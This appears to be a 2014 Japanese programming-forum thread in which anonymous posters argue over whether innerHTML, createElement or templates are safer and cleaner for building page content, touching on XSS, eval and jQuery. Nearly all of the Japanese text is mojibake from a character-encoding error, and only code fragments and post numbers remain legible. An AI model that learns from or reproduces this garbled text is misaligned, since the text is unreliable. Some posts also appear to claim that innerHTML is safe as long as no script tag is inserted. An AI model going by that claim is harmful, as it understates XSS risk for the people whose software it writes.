‚±‚¤‚¢‚¤Žž‚̓eƒ“ƒvƒŒ[ƒg‚ðŽg‚Á‚ÄAƒfƒUƒCƒi[‚ªì¬‚µ‚½HTML‚Ì’f•Ð‚É
JavaScript‚̓vƒŒ[ƒXƒzƒ‹ƒ_‚É’l‚𖄂߂邾‚¯‚É‚·‚é‚ƃVƒ“ƒvƒ‹‚É‘‚­‚±‚Æ‚ªo—ˆ‚éB
‚à‚¿‚ë‚ñHTML‚¾‚©‚玩—R‚Éclass‚ðݒ肵‚½‚èo—ˆ‚éB

184:Name_Not_Found
14/11/10 01:45:42.59 vE07iE/R.net
>>165‚Å
> JavaScript‚̃R[ƒh‚ð‘‚«Š·‚¦‚ê‚ÎAtable—v‘f‚Å‚È‚­A•Ê‚Ì—v‘f‚É‚·‚鎖‚ào—ˆ‚邵A

‚È‚ñ‚ÄŒ¾‚Á‚Ă邯‚ÇA‚æ‚­Œ©‚ê‚΂킩‚é‚æ‚ËB
JavaScript‚̃R[ƒh‚ð‘‚«Š·‚¦‚é•K—v‚ª‚ ‚é‚Á‚Ä‘‚¢‚Ä‚ ‚éB


ƒeƒ“ƒvƒŒ[ƒg‚ðŽg‚¤‚ÆAJavaScript‚ÆHTML‚ÍŠ®‘S‚É•ª—£‚³‚ê‚Ä‚¢‚é‚©‚çA
JavaScript‚ðˆêØ•ÏX‚µ‚È‚­‚Ä‚àAtable—v‘f‚Å‚Í‚È‚­A•Ê‚Ì—v‘f‚É‚·‚邱‚Æ‚ào—ˆ‚éB

HTMLA‚‚܂èƒ}[ƒNƒAƒbƒv‚ð‘‚­l‚ªAŽ©•ª‚ÌD‚Ý’Ê‚è‚Ì
ƒ}[ƒNƒAƒbƒv‚ð‘‚­‚±‚Æ‚ªo—ˆ‚éB‚±‚ꂪ•ª—£‚Æ‚¢‚¤‚à‚ÌB

185:Name_Not_Found
14/11/10 01:54:07.33 .net
>>181
> createElement‚Åtable‚ðì‚Á‚Ätr‚ðì‚Á‚Ätd‚ðì‚Á‚Äappend‚µ‚ÄB
> ‰½‚ð‚â‚Á‚Ä‚é‚Ì‚©‚³‚Á‚Ï‚è‚í‚©‚ç‚È‚­‚È‚éB
‚±‚Ì’ö“x‚Å‚í‚©‚ç‚È‚­‚Ȃ郌ƒxƒ‹‚©

186:Name_Not_Found
14/11/10 01:59:00.69 .net
innetHTML‚̘b‚Í‚Ç‚±‚Ö‚¢‚Á‚½H
“s‡‚ªˆ«‚­‚È‚Á‚Ätemplate—v‘f‚ɈƑւ¦‚©H

187:Name_Not_Found
14/11/10 02:15:10.40 .net
>>182
‚æ‚­‚í‚©‚ñ‚È‚¢‚ñ‚¾‚¯‚ÇAHTML‚̃R[ƒ_[‚ÅJavaScript‚ð’m‚ç‚È‚¢l‚Á‚Ä‚¢‚é‚ÌH
‚»‚à‚»‚àA•\Ž¦‚ð•Ï‚¦‚½‚¯‚ê‚ÎAHTML‚¾‚낤‚ªJavaScript‚¾‚낤‚ªA
‰½‚©‚µ‚ç‚©•ÏX‚µ‚È‚«‚á‚¢‚¯‚È‚¢‚ñ‚¾‚©‚çA
‚»‚ñ‚Ȃ̂̓vƒƒWƒFƒNƒg‚̃R[ƒfƒBƒ“ƒOŠî€‚ÅŒˆ‚ß‚ê‚΂¢‚¢‚¾‚¯‚̘b‚µ‚ÅA
ŸŽè‚ÉD‚݂ŃR[ƒ_[‚ª‚¢‚¶‚Á‚½‚ç‘å–â‘肾‚Æ‚¨‚à‚¤‚ªB

188:Name_Not_Found
14/11/10 03:22:24.65 .net
innerHTML‚Á‚Äeval‚ÌDOM”ł̂悤‚È‚à‚Ì‚¾‚æ‚È‚—
eval‚ð‚ǂ̂悤‚Èê–Ê‚ÅŽg‚¤‚©‚Æ‚¢‚¤‚Ì‚ÆŽ—‚½‚悤‚È‚à‚Ì‚—

189:Name_Not_Found
14/11/10 04:05:51.10 .net
>>185
ƒR[ƒ_[‚Á‚ÄAHTML,CSS‚¾‚¯‚Å‚µ‚åH
JavaScript‚̓vƒƒOƒ‰ƒ}[‚¾‚æ

JS‚̃Nƒ‰ƒX‚ÍAˆê”Ê“I‚ÈÓI‚É”h¶‚³‚¹‚éƒNƒ‰ƒX‚Å‚Í‚È‚­A
“®“I‚ȃvƒƒgƒ^ƒCƒvŒ^‚̃Nƒ‰ƒX

‚±‚ñ‚È‚â‚₱‚µ‚¢‚à‚Ì‚ðA
ŠÈ’P‚ɃvƒƒOƒ‰ƒ~ƒ“ƒO‚Å‚«‚È‚¢‚Å‚µ‚åH

•Ï”‚ÉAvar ‚ð•t‚¯‚¸‚ÉA‚Ü‚½A"use strict"‚à•t‚¯‚¸‚ÉA
ƒvƒƒOƒ‰ƒ€‚µ‚Ä‚¢‚él‚à‘½‚¢‚ñ‚¶‚á‚È‚¢‚ÌH

190:Name_Not_Found
14/11/10 08:37:20.32 .net
>>187
JavaScriptƒvƒƒOƒ‰ƒ}‚È‚çƒuƒƒgƒ^ƒCƒv‚ð—‰ð‚Å‚«‚Ä“–‘R
‚½‚¾‚µAtable‘€ì‚Ƀuƒƒgƒ^ƒCƒv‚ð—‰ð‚·‚é•K—v‚Í‚È‚¢
Strict Mode‚à‘S‚­ŠÖŒW‚È‚¢

191:Name_Not_Found
14/11/10 10:52:16.36 .net
ÅV‚ÌjQuery‚̃\[ƒXŒ©‚½‚¯‚ÇA‰Šú‰»‚ÌŽž“_‚ÅinnerHTML‚ª5‰ñŽg‚í‚ê‚Ä‚é‚Ë
‚Ç‚ÌAPI‚ðŽg‚¤‚©‚È‚ñ‚ÄŠÖŒW‚È‚­AinnerHTML‚ð”Û‰ž‚È‚­Žg‚킳‚ê‚Ä‚¢‚é‚킯‚¾

192:Name_Not_Found
14/11/10 11:45:59.51 .net
jQuery‚ªŽg‚í‚ê‚Ä‚ê‚ΈÀ‘S‚È‚ÌH

193:189
14/11/10 11:49:17.09 .net
‚¢‚âAinnerHTML‚ð–ÑŒ™‚¢‚µ‚Ä‚¢‚él‚ª‚¢‚é‚Ý‚½‚¢‚¾‚©‚狳‚¦‚Ä‚ ‚°‚½‚¾‚¯‚¾

194:Name_Not_Found
14/11/10 11:50:26.54 .net
‚±‚±‚ł̘b‚ÆjQuery‚ÅŽg‚í‚ê‚Ä‚¢‚é‚͉̂½‚©ŠÖŒW‚ ‚é‚ÌH

195:189
14/11/10 11:52:09.54 .net
>>135‚ÅŒë‚Á‚½‚±‚Æ‚ðŒ¾‚Á‚Ä‚¢‚é‚©‚糂µ‚¢‚±‚Æ‚ðŒ¾‚Á‚½‚¾‚¯‚¾
Ž©•ª‚ÉŠÖŒW‚È‚¢‚̂Ȃ牴‚̃ŒƒX‚Í–³Ž‹‚µ‚Ä‚¢‚¢

196:Name_Not_Found
14/11/10 11:53:27.70 .net
‚Ü‚³‚©jqueryŽg‚Á‚Ä‚¢‚ÄinnnerHTML”ے肵‚Ä‚é“z‚Í‚¢‚È‚¢‚æ‚ÈH

197:Name_Not_Found
14/11/10 12:07:08.59 .net
jQuery‚ªŽg‚Á‚Ä‚é‚©‚çinnerHTML‚ðŽg‚Á‚Ä‚¢‚¢‚Æ‚¢‚¤—‹ü‚Í‚©‚ç‚͉½‚Ì’mŒ©‚ං܂ê‚È‚¢‚±‚Æ‚É‹C•t‚±‚¤‚È

198:189
14/11/10 12:17:00.14 .net
>>195
‰´‚Í‚»‚ñ‚È‚±‚ÆŒ¾‚Á‚Ä‚È‚¢‚Á‚Ä‚—
innerHTML‚ªŒ™‚¢‚Èl‚ÅjQuery‚ðŽg‚Á‚Ä‚¢‚él‚ª‚¢‚½i>>135j‚©‚狳‚¦‚½‚¾‚¯
‚à‚µ‘¼‚É‚à‚»‚¤‚¢‚¤l‚ª‚¢‚½‚çAjQuery‚ðŽg‚¤‚Ì‚ð‚â‚ß‚é‚©A‚ ‚é‚¢‚ÍŽ©•ª‚Å‘‚«Š·‚¦‚é‚Æ‚¢‚¢‚ÆŽv‚¤

199:Name_Not_Found
14/11/10 12:58:41.45 .net
innerHTMLŽg‚í‚È‚¢i·Ø¯

‚Å‚àjquery‚ÍŽg‚Á‚Ä‚é©’á”]‚—

200:Name_Not_Found
14/11/10 13:34:42.97 .net
‚»‚ÌŒÂlUŒ‚‚ɂ͉½‚̶ŽY«‚àŠ´‚¶‚ç‚ê‚È‚¢‚©‚ç‚¢‚¢‰ÁŒ¸‚ÉŽ©d‚µ‚ë

201:Name_Not_Found
14/11/10 13:38:28.77 .net
‚ŠQueryŽg‚Á‚Ä‚é‚Ì‚ÉinnerHTML”ے肵‚½”nŽ­‚ªŠç^‚ÁÔ‚É‚È‚Á‚Ä•KŽ€‚¾‚È

202:Name_Not_Found
14/11/10 13:59:44.35 .net
—¦’¼‚É‚¢‚Á‚ÄjQuery‚É‚ÍD‚Ü‚µ‚­‚È‚¢ŽÀ‘•‚ªŒ‹\‚ ‚é‚©‚ç‚Ë‚¦
innerHTML‚ÉŒÀ‚炸AŽg‚¤•K—v«‚Í‚ ‚܂芴‚¶‚È‚¢‚Ë
•Ö—˜‚ȃvƒ‰ƒOƒCƒ“‚ª‚ ‚Á‚ÄŽ©•ª‚Åì‚éŽèŠÔ‚ðÈ‚«‚½‚¢Žž‚ÉŽg‚¤‚®‚ç‚¢‚©‚È
‘å’•ª‚Åì‚낤‚Æ‚·‚邵AjQuery‚ª‚È‚­‚Ăࢂç‚È‚¢‚¾‚낤‚Ë

u‚Ç‚¤‚¹‚¨‚Ü‚¦‚àjQuery‚ª‚È‚©‚Á‚½‚碂é‚ñ‚¾‚ëHv‚Í‚½‚¾‚ÌŽvl’âŽ~‚ÌMŽÒ”­Œ¾‚¾‚µA–â‘è‚Ì–{Ž¿‚©‚ç˜_“_‚ð‚¸‚ç‚µ‚Ä“¦‚°‚Ă邾‚¯
‚Ü‚Æ‚à‚È‹c˜_‚É‚à‚È‚è‚»‚¤‚É‚È‚¢‚Ë

203:Name_Not_Found
14/11/10 15:11:10.74 .net
jQuery‚ª2‚ˆÈã‚̃tƒ@ƒCƒ‹\¬‚Ȃ瑽‚­‚Ìl‚ªŽg‚Á‚Ä‚È‚©‚Á‚½‚¾‚낤

204:Name_Not_Found
14/11/10 15:59:32.97 .net
ƒXƒ^ƒ“ƒX‚Ì–â‘è‚Å‚ÍH
ƒR[ƒh‹Lq‚Ì•Ö—˜‚³‚ðŽæ‚é‚©AƒR[ƒhŽÀs‚ÌÅ“K‰»‚ð}‚é‚©

205:Name_Not_Found
14/11/10 20:13:53.72 .net
innerHTML‚ð–ÑŒ™‚¢‚·‚é‚̂ɳ“–‚È——R‚ª‚È‚¢‚©‚ç
jQuery‚ÅŽg‚Á‚Ä‚¢‚Ä‚à‰½‚Ì–â‘è‚à‚È‚¢‚ñ‚¾‚ªB

–¾“ú‘¾—z‚ª¸‚ç‚È‚¢‚©‚à‚Á‚Ä
S”z‚µ‚Ä‚¢‚é‚悤‚È‚à‚ñB

206:Name_Not_Found
14/11/10 20:15:19.99 .net
‚¤[‚ñH innerHTML‚𪋒‚È‚­”ے肵‚Ä‚¢‚é‚â‚‚ª
”nŽ­‚Æ‚¢‚¤‚Ì‚ª‘å‘O’ñ‚È‚ñ‚¾‚ªA‚»‚ê‚í‚©‚Á‚Ä‚éH
‚»‚±‚©‚çà–¾‚µ‚È‚¢‚Æ‚¢‚©‚ñ‚ÌH

innerHTML‚ð”Û’è‚·‚é——R‚Í‚È‚¢‚Æ‚¢‚¤
ƒRƒ“ƒZƒ“ƒTƒX‚Í“¾‚ç‚ê‚Ä‚¢‚é‚©‚ÈH

207:Name_Not_Found
14/11/10 20:22:30.14 .net
>>202
‚»‚ꌾ‚¤‚È‚çƒXƒ^ƒCƒ‹‚¾‚ëc

208:Name_Not_Found
14/11/10 20:37:11.00 .net
>>205
ƒXƒ^ƒ“ƒX‚ÅŠÔˆá‚Á‚Ä‚È‚¢‚ÆŽv‚¤‚¯‚ÇAÕ“Ë‚ÌŒ´ˆö‚Í‚»‚±‚¶‚á‚È‚¢‚ñ‚¾‚æ‚Ë
‘ŠŽè‚ð‘Å‚¿•‰‚©‚·–Ú“I‚Å”­Œ¾‚µ‚Ä‚¢‚él‚Ƃ͘_—“I‚É‹c˜_‚Å‚«‚é‹C‚ª‚µ‚È‚¢‚æ

209:Name_Not_Found
14/11/10 21:03:59.13 .net
‚¤‚¿‚ÌãŽi‚ÍA‚·‚®‚ÉAƒGƒrƒfƒ“ƒXI‚Æ‚©ƒtƒB[ƒWƒrƒŠƒeƒBI‚Æ‚©‹t‚ÉI‚Æ‚©Œ¾‚¤B
‚ÆŽv‚Á‚Ä‚¢‚½‚çA‹C‚ª•t‚¢‚½‚玩•ª‚àŒ¾‚¤‚悤‚É‚È‚Á‚Ä‚½B

210:Name_Not_Found
14/11/10 21:19:24.57 .net
>>207
u‹t‚ÉIv‚¾‚¯•ÊŽŸŒ³‚̉½‚©‚ðŠ´‚¶‚³‚¹‚é‚È

211:Name_Not_Found
14/11/10 21:20:47.50 .net
ª‹’‚Í‚à‚¤o‚Ă邾‚ë

212:Name_Not_Found
14/11/10 21:21:38.97 .net
innerHTML‚ÍDOM‚ð‰ó‚·‹°‚ꂪ‚ ‚é‚©‚çŽg‚¤‚È‚ÁI

213:Name_Not_Found
14/11/10 21:25:37.65 .net
innerHTML‚ðŽg‚Á‚½‚çƒ_ƒ‚Æ‚¢‚¤ª‹’‚ÍA
‘ã“ü‚·‚éHTML‚É<script>ƒ^ƒO‚ªŠÜ‚Ü‚ê‚Ä‚¢‚½‚çXSS‚ª‹N‚«‚é‚©‚ç

‹t‚ÉŒ¾‚¦‚ÎAinnerHTML‚É<script>ƒ^ƒO‚ªŠÜ‚Ü‚ê‚邱‚Æ‚ª‚È‚¢‚Æ
•ÛØ‚³‚ê‚Ä‚¢‚é‚È‚çŽg‚Á‚Ä‚¢‚¢B

‚±‚±‚Ü‚Å‚Í“¯ˆÓ‚Æ‚ê‚Ä‚é‚æ‚ËH

214:Name_Not_Found
14/11/10 21:29:17.83 .net
innerHTML‚Íeval‚ƈêB
‚¾‚©‚çeval‚ÍŽg‚Á‚Ä‚Í‚È‚ç‚È‚¢B

Google‚̃Xƒ^ƒCƒ‹ƒKƒCƒh‚Å‚à
eval‚Íâ‘΂Ɏg‚Á‚Ä‚Í‚È‚ç‚È‚¢‚Æ‘‚¢‚Ä‚ ‚é


215:B «‚¤‚Á‚»‚Ò‚å[‚ñ‚— http://cou929.nu/data/google_javascript_style_guide/#eval > ƒfƒVƒŠƒAƒ‰ƒCƒY (deserialization) ‚·‚é‚Æ‚«‚Ì‚ÝŽg—p‰Â. (—Ⴆ‚Î RPC ƒŒƒXƒ|ƒ“ƒX‚ð•]‰¿‚·‚é‚Æ‚«‚È‚Ç)



216:Name_Not_Found
14/11/10 21:31:47.24 .net
ƒ†[ƒU[‚ª“ü—Í‚µ‚½’l‚ðinnerHTML‚Å
‘ã“ü‚·‚é‚Æ‚«‚Í‹C‚ð‚‚¯‚È‚¢‚Æ‚¢‚¯‚È‚¢‚ªA
ƒvƒƒOƒ‰ƒ}‚ª‘‚¢‚½•¶Žš—ñ‚ð‘ã“ü‚·‚邾‚¯‚È‚ç
ˆÀ‘S‚¾‚©‚ç–â‘è‚È‚¢‚ñ‚¾‚æB
Å’áŒÀ‚±‚ê‚®‚ç‚¢‚Í—‰ð‚µ‚Ä‚©‚ç‰ï˜b‚ÉŽQ‰Á‚µ‚Ä‚­‚êB

217:Name_Not_Found
14/11/10 21:45:44.89 .net
l“Iƒ~ƒX‚ª‚È‚¢‚Æ‚ÍŒ¾‚¢Ø‚ê‚È‚¢

218:Name_Not_Found
14/11/10 21:46:51.14 .net
‚»‚¤‚È‚é‚ƃT[ƒoƒTƒCƒh‚Å•¶Žš—ñ‚𖳊Q‰»‚µ‚È‚­‚Ä‚¢‚¢‚Á‚ÄŒ¾‚Á‚Ä‚é‚é‚悤‚È‚à‚ñ‚¾‚Ë

echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');‚Í‚µ‚È‚­‚Ä‚¢‚¢
ehoc $s;‚Å‚¢‚¢‚Ý‚½‚¢‚È‚±‚Æ‚ð‚¢‚Á‚Ä‚é‚ñ‚¾‚Ë

219:Name_Not_Found
14/11/10 21:49:06.75 .net
>>211
‘¼‚É‚à–â‘肪‚ ‚邯‚Ç‚¢‚­‚ç‚¢‚Á‚Ä‚à—‰ð‚³‚ê‚È‚¢‚悤‚¾‚©‚ç‚à‚¤‚¢‚¢

220:Name_Not_Found
14/11/10 21:53:17.53 .net
>>214
lˆ×ƒ~ƒX‚ð‹N‚±‚·‚Æ‚¢‚¤˜b‚ð‚·‚é‚ÆA
createElement('script')‚Á‚Ä‘‚¢‚½‚çA
scriptŽÀs‚Å‚«‚¿‚Ⴄ‚©‚çA
createElement‚àŽg‚Á‚½‚çƒ_ƒ‚Á‚Ä‚±‚ƂɂȂ邯‚Ç‚¢‚¢‚ÌH

221:Name_Not_Found
14/11/10 21:54:57.38 .net
>>101‚ð‘S‚­—‰ð‚µ‚Ä‚È‚¢‚©‚çXSS‚¾‚¯‚Æ‚©“K“–‚ÈŽ–‚ð‚¢‚¤‚ñ‚¾‚낤

222:Name_Not_Found
14/11/10 21:55:01.01 .net
>>215
‚¨‚¢‚¨‚¢A˜b‚ª‘S‚­ˆá‚¤‚¾‚낤B

‚»‚Ì—á‚ÅŒ¾‚¤‚Ì‚È‚ç

echo 'aaa' ‚͊댯‚¾‚©‚ç
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); ‚Á‚Ä‘‚¯‚Á‚ÄŒ¾‚Á‚Ä‚¢‚é‚悤‚È‚à‚ñ‚¾‚æB

ˆá‚¢‚í‚©‚éH ƒ†[ƒU[‚Ì“ü—Í’l‚ª‚Í‚¢‚Á‚½•Ï”‚¶‚á‚È‚¢‚ñ‚¾B
ƒvƒƒOƒ‰ƒ}‚ª“ü‚ꂽŒÅ’è‚Ì•¶Žš—ñB

‚¾‚©‚çˆÀ‘S‚È‚ñ‚¾‚æB

223:Name_Not_Found
14/11/10 21:56:19.69 .net
>>216
‚»‚Ì–â‘è‚Í‚·‚ׂĔ½˜_‚µ‚½‚¾‚ë‚—

224:Name_Not_Found
14/11/10 21:57:31.58 .net
echo ‚̓~ƒX‚ð‚·‚é‚ÆXSS‚ð‹N‚±‚·B

‚¾‚©‚çecho‚ðŽg‚¤‚ÈI

ª

‚¦H‚—

225:Name_Not_Found
14/11/10 21:58:21.95 .net
innerHTML ‚̓~ƒX‚ð‚·‚é‚ÆXSS‚ð‹N‚±‚·B

‚¾‚©‚ç innerHTML ‚ðŽg‚¤‚ÈI

ª

‚¦H‚—

226:Name_Not_Found
14/11/10 21:58:59.24 .net
>>217
>>214‚̓qƒ…[ƒ}ƒ“ƒGƒ‰[‚ÅXSS–â‘肪‹N‚«‚郊ƒXƒN‚ð‰ñ”ð‚·‚é˜b‚ð‚µ‚Ä‚¢‚é‚Ì‚¾‚ÆŽv‚¤‚ª
ŽïŽ|‚ð—‰ð‚µ‚È‚¢ˆÓŒ©‚ʼnŒ‚ÉŠª‚­‚Ì‚ª‚¨“¾ˆÓ‚̂悤‚¾‚È

227:Name_Not_Found
14/11/10 22:00:17.47 .net
>>223
‚¾‚©‚çAƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚ª‹N‚«‚é‚Á‚Ęb‚ð‚·‚é‚È‚ç‚ÎA
echo ‚ÍŽg‚Á‚¿‚áƒ_ƒ‚Á‚Ä‚±‚Æ‚Å‚·‚æ‚ËH

228:Name_Not_Found
14/11/10 22:02:49.62 .net
script —v‘f‚É appendChild() ‚Æ‚©‚â‚Á‚½‚ç‚Ç‚¤‚È‚éH

229:Name_Not_Found
14/11/10 22:02:54.79 .net
‚¢‚‚©‚çƒoƒO‚ðƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚Á‚Ä‚¢‚¤‚悤‚É‚È‚Á‚½‚ÌH

ƒoƒO‚ð‚µ‚½‚çÆŽã«‚ª‹N‚«‚é‚悤‚È–½—ß‚ÍŽg‚Á‚½‚çƒ_ƒ‚Æ‚¢‚¤‚Ì‚È‚ç
ƒvƒƒOƒ‰ƒ€‘‚¯‚È‚¢‚¾‚ëB

ƒtƒ@ƒCƒ‹‚ð휂·‚édelete‚ÍAƒoƒO‚ª‚ ‚Á‚½‚ç
‘Sƒtƒ@ƒCƒ‹Á‚¦‚é‚©‚çŽg‚Á‚¿‚áƒ_ƒ‚Æ‚©H‚—

230:Name_Not_Found
14/11/10 22:03:05.20 .net
>>224
echo‚È‚Ç’m‚ç‚ñ
‘Š•Ï‚í‚炸A‰Œ‚ÉŠª‚­‚Ì‚ª“¾ˆÓ‚¾‚È

231:Name_Not_Found
14/11/10 22:05:03.83 .net
>>225
> script —v‘f‚É appendChild() ‚Æ‚©‚â‚Á‚½‚ç‚Ç‚¤‚È‚éH
‚»‚è‚áA‚»‚¤‚¢‚¤ƒR[ƒh‚ð‘‚­“z‚ªˆ«‚¢‚Æ‚¢‚¤‚Ì‚Í’N‚à‚ª”F‚ß‚é‚ÆŽv‚¤‚ª
ƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚ÅuŠÔˆá‚Á‚ÄappendChild ‚µ‚¿‚á‚¢‚Ü‚µ‚½v‚È‚ñ‚ÄŽ–‚ª‹N‚±‚肤‚é‚ÆŽv‚Á‚Ä‚¢‚é‚Ì‚©H

232:Name_Not_Found
14/11/10 22:10:54.50 .net
>>226
ƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚ŃoƒO‚ª”­¶‚·‚é‚Æ‚¢‚¤—‹ü‚à•ª‚©‚ç‚È‚¢‚Ì‚©
Œ´ˆö‚ÆŒ‹‰Ê‚ð؂蕪‚¯‚Äl‚¦‚邱‚Æ‚ào—ˆ‚È‚¢‚Ì‚©

233:Name_Not_Found
14/11/10 22:12:24.92 .net
>>228
‚¢‚âA’Pƒ‚Éscript—v‘f‚ÉŽq—v‘fƒm[ƒh‚Æ‚©ì‚ê‚Ä‚µ‚Ü‚¤‚Ì‚©
‚ÆŽv‚Á‚Ä•·‚¢‚Ä‚Ý‚½‚Ì‚¾‚ª

> uŠÔˆá‚Á‚ÄappendChild ‚µ‚¿‚á‚¢‚Ü‚µ‚½v
—Ⴆ‚Î script —v‘f‚É id ‚ªU‚ç‚ê‚Ä‚¢‚ÄA
ŠÔˆá‚Á‚Ä‚»‚Ì id ‚Å getElementById ‚Å—v‘f‚ðŽæ“¾‚µ‚Ä
appendChild ‚·‚é‚悤‚È‚±‚Æ‚Í‚ ‚蓾‚é‚©‚à‚µ‚ê‚È‚¢

234:Name_Not_Found
14/11/10 22:21:11.44 .net
>>219
‚¦HŒÅ’肳‚ꂽ•¶Žš—ñ‚Å‚àƒTƒjƒ^ƒCƒY‚µ‚È‚¢‚Æ‚©‚ ‚肦‚Ü‚¹‚ñ‚æH

235:Name_Not_Found
14/11/10 22:26:15.46 .net
>>230
> —Ⴆ‚Î script —v‘f‚É id ‚ªU‚ç‚ê‚Ä‚¢‚ÄA
> ŠÔˆá‚Á‚Ä‚»‚Ì id ‚Å getElementById ‚Å—v‘f‚ðŽæ“¾‚µ‚Ä
> appendChild ‚·‚é‚悤‚È‚±‚Æ‚Í‚ ‚蓾‚é‚©‚à‚µ‚ê‚È‚¢
‚»‚ê‚Í appendChild ˆÈ‘O‚Ì–â‘肾
‚»‚ê‚ð”F‚ß‚é‚È‚çuŠÔˆá‚Á‚Ä innerHTML ‚µ‚¿‚á‚¢‚Ü‚µ‚½v‚à‹N‚±‚肤‚é‚Ì‚¾‚©‚ç
Šú‘Ò‚µ‚È‚©‚Á‚½êŠ‚É appendChild ‚³‚ꂽ‚Ì‚È‚çƒfƒoƒbƒOŽž‚É‹C‚ª‚‚­‚Í‚¸‚¾‚µA‹C‚ª•t‚­‚ׂ«‚¾
(‹C‚ª•t‚©‚È‚©‚Á‚½‚Ì‚È‚çƒfƒoƒbƒO‚ª‘«‚è‚È‚¢)

XSS‚Ì–ï‰î‚È‚Æ‚±‚ë‚ÍŽ–Û‚ª”­¶‚µ‚È‚¯‚ê‚Ζâ‘è‚É‚Í‚È‚ç‚È‚¢‚Æ‚¢‚¤Ž–‚¾
ƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚ÅXSS‚ª”­¶‚µ‚Ä‚¢‚é‚Ì‚È‚çˆÓ}“I‚ÉXSS‚ð”­¶‚µ‚悤‚Æ‚µ‚È‚¯‚ê‚Δ­Œ©‚Å‚«‚È‚¢‚¾‚낤
uŠÔˆá‚Á‚ÄappendChild‚µ‚¿‚á‚¢‚Ü‚µ‚½v‚Ƃͪ–{“I‚ɈႤ

236:Name_Not_Found
14/11/10 22:27:53.51 .net
> ‚»‚ê‚ð”F‚ß‚é‚È‚çuŠÔˆá‚Á‚Ä innerHTML ‚µ‚¿‚á‚¢‚Ü‚µ‚½v‚à‹N‚±‚肤‚é‚Ì‚¾‚©‚ç
‚¿‚È‚Ý‚ÉuŠÔˆá‚Á‚Ä innerHTML ‚µ‚¿‚á‚¢‚Ü‚µ‚½v‚Ì•û‚ª‘z’肳‚ê‚郊ƒXƒN‚Í‘å‚«‚¢
script—v‘f‚Å‚È‚­‚Ä‚àXSS‚ª‹N‚±‚肤‚é‚©‚ç‚È

237:Name_Not_Found
14/11/10 22:30:48.95 .net
ƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚Í‚ ‚è‚Æ‚ ‚ç‚ä‚éƒZƒLƒ…ƒŠƒeƒBƒz[ƒ‹‚̉”\«‚ª‚ ‚é‚©‚ç’´ŠëŒ¯‚¾
lŠÔ‚̓vƒƒOƒ‰ƒ€‚ð‘‚­‚ׂ«‚Å‚Í‚È‚¢‚È

238:Name_Not_Found
14/11/10 22:36:32.80 .net
‚¾‚Á‚½‚çƒvƒƒOƒ‰ƒ€‚ð‘‚­ƒRƒ“ƒsƒ…[ƒ^‚ðì‚낤
‚µ‚©‚µ‚»‚̃Rƒ“ƒsƒ…[ƒ^[‚̃vƒƒOƒ‰ƒ€‚Í’N‚ª‘‚±‚¤‚©

239:Name_Not_Found
14/11/10 22:50:36.22 .net
>>231
‚ ‚Ù‚¾‚ëB

ŒÅ’è‚Ì•¶Žš—ñ‚ɑ΂µ‚ăGƒXƒP[ƒv‚·‚éˆÓ–¡‚Í–³‚¢B

240:Name_Not_Found
14/11/10 22:55:23.85 .net
ŒÅ’è‚Ì•¶Žš—ñ‚ðecho‚·‚鎞‚ɃGƒXƒP[ƒv‚µ‚È‚­‚Ä‚¢‚¢‚Ì‚Í
ƒŠƒXƒN‚ª0‚¾‚©‚çB

“¯—l‚ɌŒè‚Ì•¶Žš—ñBinnerHTML = '<span>abc</span>'‚Æ‚©
XSS‚É‚È‚è‚悤‚ª‚È‚¢B‚‚܂胊ƒXƒN0‚¾‚©‚牽‚Ì–â‘è‚à‚È‚¢B

ƒŠƒXƒN‚ª0‚È‚Ì‚ÉA‚»‚̃ŠƒXƒN‚ª‚Ç‚¤‚Æ‚©Œ¾‚¤‚Ì‚Í
ƒŠƒXƒNŠÇ—‚¶‚á‚È‚­‚ÄA’P‚È‚é‰ß•ÛŒìB

241:Name_Not_Found
14/11/10 22:57:40.87 .net
ŠÔˆá‚Á‚Ä innerHTML ‚µ‚¿‚á‚Á‚Ä‚à–â‘è‚Í‹N‚«‚È‚¢B
‚È‚º‚È‚çAappendChild‚µ‚¿‚á‚¢‚Ü‚µ‚½‚Æ“¯‚¶‚¾‚©‚çB

appendChild‚µ‚Ä‚àAscript‚Æ“ü‚ê‚È‚¢ŒÀ‚è‘åä•v‚Ȃ悤‚É
inenrHTML‚ðscript‚ð“ü‚ê‚È‚¢ŒÀ‚è‘åä•vB

‚±‚Ìà–¾‚Å“¯‚¶‚¾‚Á‚Ä‚±‚Æ‚ª‚æ‚­‚í‚©‚Á‚½‚ÆŽv‚¤‚ª‚ËB

242:Name_Not_Found
14/11/10 23:00:39.74 .net
‰ß•ÛŒìƒpƒ^[ƒ“‚Ý‚½‚¢‚È–¼‘O‚̃Aƒ“ƒ`ƒpƒ^[ƒ“‚ ‚è‚»‚¤‚¾‚È‚—

—Ⴆ‚ÎAif (a > 0 and a !== 0) ‚Ý‚½‚¢‚É
–¾‚ç‚©‚É‚â‚é•K—v‚ª‚È‚¢‚Ì‚ÉA”O‚Ì‚½‚ß‚Æ‚©‚¢‚Á‚Ä
‚â‚é‰SŽÒ‚ª‚¢‚é‚ñ‚¾‚æ‚Ë‚—

‚±‚¤‚¢‚¤‚Ì‚ÍAƒR[ƒh‚ª‚Ç‚¤“®‚­‚©
‚í‚©‚Á‚Ä‚È‚¢‚©‚çB

243:Name_Not_Found
14/11/10 23:05:14.85 .net
>>238
appendChild ‚Æ innerHTML ‚ª“¯‚¶H

244:Name_Not_Found
14/11/10 23:08:28.44 .net
ƒ`ƒFƒbƒNƒ~ƒX‚ª‹N‚«‚é‚©‚çƒqƒ…[ƒ}ƒ“ƒGƒ‰[‚È‚ñ‚¾‚ª‚È
appendChild ‚Æ innerHTML ‚𓯈ꎋ‚·‚é‚Æ‚©AƒŠƒXƒN‚Ì‹K–͂𑪂é–Ú‚ðŽ‚½‚È‚¢l‚ª‚¢‚¤Ž–‚͈Ⴄ‚È

245:Name_Not_Found
14/11/10 23:09:16.38 .net
>>240
‚Í‚¢B“¯‚¶‚Å‚·B

ŒÅ’è’l‚ðinnerHTML‚É“ü‚ê‚Ä‚¢‚éŒÀ‚èXSS‚Í‹N‚«‚Ü‚¹‚ñB
‹t‚ÉAappendChild‚Ì’l‚ðƒ†[ƒU[[‚ª“ü—͉”\‚¾‚ÆXSS‹N‚«‚é‰Â”\«‚ª‚ ‚è‚Ü‚·B
